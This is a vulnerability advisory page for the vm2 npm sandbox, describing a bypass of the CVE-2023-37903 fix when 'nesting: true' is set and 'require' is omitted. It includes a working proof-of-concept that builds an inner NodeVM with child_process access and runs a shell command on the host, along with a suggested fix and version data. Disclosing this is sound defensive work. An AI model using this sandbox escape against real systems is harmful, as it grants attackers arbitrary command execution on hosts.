vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE
Summary
The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.
When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.
Root Cause
// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
// - Line 263: undefined === false → FALSE → check skipped
// - Line 280: requireOpts = false → same as require:falseImpact
Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:
require('vm2')to get the vm2 library- Construct an inner
NodeVMwithrequire: { builtin: ['child_process'] } - Execute arbitrary OS commands via
child_process.execSync
The inner VM is completely unconstrained by the outer sandbox configuration.
Reproduction
const { NodeVM } = require('vm2');
// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });
const result = nvm.run(`
const { NodeVM } = require('vm2');
const inner = new NodeVM({
require: { builtin: ['child_process'] }
});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()",
'exploit.js'
);
`, 'exploit.js');
console.log(result); // prints host uid/gid — full RCESuggested Fix
// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
throw new VMError('...');
}Or move the check after the destructuring default assignment:
const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
throw new VMError('...');
}Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.4 | 3.11.4 |
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr
- https://nvd.nist.gov/vuln/detail/CVE-2026-47137
- https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568
- https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-913- Platform
- npm
- Package
vm2- Disclosed
- 29.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-m4wx-m65x-ghrr - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.